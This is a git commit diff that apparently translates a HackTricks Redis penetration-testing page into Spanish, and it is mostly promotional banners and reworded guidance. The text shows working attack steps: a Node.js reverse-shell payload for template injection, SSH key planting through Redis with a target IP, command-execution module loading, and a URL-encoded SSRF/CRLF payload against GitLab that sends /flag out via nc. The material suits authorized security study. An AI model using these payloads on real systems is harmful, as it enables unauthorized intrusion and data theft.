Translated ['network-services-pentesting/6379-pentesting-redis.md'] to e

This commit is contained in:
Translator 2024-02-14 23:26:00 +00:00
parent 7e9a22828d
commit 2fbc37f9e8

View file

@ -2,27 +2,27 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
Mantente actualizado con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
@ -66,17 +66,17 @@ En este último caso, esto significa que **necesitas credenciales válidas** par
### Autenticación de Redis
**Por defecto** Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para admitir **solo contraseña, o nombre de usuario + contraseña**.\
**Por defecto** Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para admitir **solo contraseña o usuario + contraseña**.\
Es posible **establecer una contraseña** en el archivo _**redis.conf**_ con el parámetro `requirepass` **o temporalmente** hasta que el servicio se reinicie conectándose a él y ejecutando: `config set requirepass p@ss$12E45`.\
Además, se puede configurar un **nombre de usuario** en el parámetro `masteruser` dentro del archivo _**redis.conf**_.
{% hint style="info" %}
Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\
Además, tenga en cuenta que **no hay forma de saber externamente** si Redis se configuró solo con contraseña o nombre de usuario + contraseña.
Además, ten en cuenta que **no hay forma de saber externamente** si Redis se configuró solo con contraseña o usuario + contraseña.
{% endhint %}
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) en él.\
**En caso de encontrar credenciales válidas, necesitas autenticar la sesión** después de establecer la conexión con el comando:
En casos como este, **necesitarás encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
**En caso de encontrar credenciales válidas, necesitas autenticar la sesión** después de establecer la conexión con el comando:
```bash
AUTH <username> <password>
```
@ -105,7 +105,7 @@ También puedes **monitorizar en tiempo real los comandos de Redis** ejecutados
Encuentra más información interesante sobre otros comandos de Redis aquí: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Volcado de Base de Datos**
### **Volcado de base de datos**
Dentro de Redis, las **bases de datos son números que empiezan desde 0**. Puedes ver si alguna está en uso en la salida del comando `info` dentro del bloque "Keyspace":
@ -126,33 +126,36 @@ GET <KEY>
```
En caso de que recibas el siguiente error `-WRONGTYPE Operation against a key holding the wrong kind of value` al ejecutar `GET <KEY>`, se debe a que la clave puede ser algo distinto a una cadena o un entero y requiere un operador especial para mostrarla.
Para conocer el tipo de la clave, utiliza el comando `TYPE`, ejemplo a continuación para claves de tipo lista y hash.
```
Para conocer el tipo de la clave, utiliza el comando `TYPE`, como se muestra en el ejemplo a continuación para claves de tipo lista y hash.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
## RCE de Redis
## Redis RCE
### Shell Interactivo
@ -180,7 +183,7 @@ Si la excepción de acceso a la webshell, puedes vaciar la base de datos despué
Al igual que en la sección anterior, también podrías sobrescribir algún archivo de plantilla html que vaya a ser interpretado por un motor de plantillas y obtener una shell.
Por ejemplo, siguiendo [**este artículo**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó una **shell inversa en un html** interpretado por el **motor de plantillas nunjucks:**
Por ejemplo, siguiendo [**este informe**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó una **shell inversa en un html** interpretado por el **motor de plantillas nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -195,16 +198,16 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
Ten en cuenta que **varios motores de plantillas almacenan en caché** las plantillas en **memoria**, por lo que incluso si las sobrescribes, la nueva no se **ejecutará**. En estos casos, o el desarrollador dejó activa la recarga automática o necesitas hacer un DoS sobre el servicio (y esperar que se reinicie automáticamente).
Ten en cuenta que **varios motores de plantillas almacenan en caché** las plantillas en **memoria**, por lo que incluso si las sobrescribes, la nueva **no se ejecutará**. En estos casos, o el desarrollador dejó activa la recarga automática o necesitas hacer un DoS sobre el servicio (y esperar que se reinicie automáticamente).
{% endhint %}
### SSH
Ejemplo [desde aquí](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Por favor, ten en cuenta que el resultado de **`config get dir`** puede cambiar después de ejecutar otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** podrías encontrar el **directorio raíz** del **usuario redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y al saber esto, sabrás dónde puedes escribir el archivo `authenticated_users` para acceder vía ssh **con el usuario redis**. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de ello:
Por favor, ten en cuenta que el resultado de **`config get dir`** puede cambiar después de ejecutar otros comandos de explotación manualmente. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** podrías encontrar el **directorio raíz** del **usuario de redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y al saber esto, sabrás dónde puedes escribir el archivo `authenticated_users` para acceder vía ssh **con el usuario redis**. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de ello:
1. Genera un par de claves pública-privada ssh en tu pc: **`ssh-keygen -t rsa`**
1. Genera un par de claves pública-privada ssh en tu computadora: **`ssh-keygen -t rsa`**
2. Escribe la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importa el archivo a redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Guarda la clave pública en el archivo **authorized\_keys** en el servidor de redis:
@ -241,8 +244,8 @@ Este método también se puede utilizar para ganar bitcoin: [yam](https://www.v2
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo de redis para ejecutar comandos arbitrarios**.
2. Luego necesitas alguna forma de **subir el módulo compilado**.
3. **Cargar el módulo subido** en tiempo de ejecución con `MODULE LOAD /ruta/a/mymodule.so`.
4. **Listar los módulos cargados** para verificar que se cargó correctamente: `MODULE LIST`.
3. **Cargar el módulo subido** en tiempo de ejecución con `MODULE LOAD /ruta/a/mymodule.so`
4. **Listar los módulos cargados** para verificar que se cargó correctamente: `MODULE LIST`
5. **Ejecutar comandos**:
```
@ -254,9 +257,9 @@ Este método también se puede utilizar para ganar bitcoin: [yam](https://www.v2
```
6. Descargar el módulo cuando lo desees: `MODULE UNLOAD mymodule`
### Bypass del Sandbox LUA
### Bypass del sandbox LUA
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar código **Lua en un entorno seguro**. En el post vinculado puedes ver **cómo abusarlo** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **burlar el sandbox** de Lua, podrías **ejecutar comandos arbitrarios** en el sistema. Además, en el mismo post puedes ver algunas **opciones para causar una denegación de servicio (DoS)**.
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar código **Lua sandboxed**. En el post vinculado puedes ver **cómo abusarlo** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **burlar el sandbox Lua** podrías **ejecutar comandos arbitrarios** en el sistema. Además, en el mismo post puedes ver algunas **opciones para causar DoS**.
Algunos **CVEs para escapar de LUA**:
@ -264,7 +267,7 @@ Algunos **CVEs para escapar de LUA**:
### Módulo Maestro-Esclavo
Todas las operaciones en el redis maestro se sincronizan automáticamente con el redis esclavo, lo que significa que podemos considerar la vulnerabilidad de redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar comandos en nuestro propio redis.
Todas las operaciones en el redis maestro se sincronizan automáticamente con el redis esclavo, lo que significa que podemos considerar la vulnerabilidad redis como un redis esclavo, conectado al redis maestro que controlamos, luego podemos ingresar comandos en nuestro propio redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -294,7 +297,7 @@ Por lo tanto, si encuentras una vulnerabilidad de **SSRF** en un sitio web y pue
En **Gitlab11.4.7** se descubrió una vulnerabilidad de **SSRF** y una de **CRLF**. La vulnerabilidad de **SSRF** estaba en la **funcionalidad de importación de proyectos desde una URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad de **CRLF** se explotaba simplemente **agregando los caracteres %0D%0A** a la **URL**.
Por lo tanto, era posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona las colas** desde **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
Por lo tanto, era posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona las colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. El payload de abuso de la cola de Redis es:
```
multi
sadd resque:gitlab:queues system_hook_push
@ -305,33 +308,33 @@ Y la solicitud de **codificación de URL** abusando de **SSRF** y **CRLF** para
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se to esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
_Por alguna razón (como menciona el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se extrajo esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
Sumérgete en contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por bugs que se lanzan y actualizaciones cruciales de plataformas
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>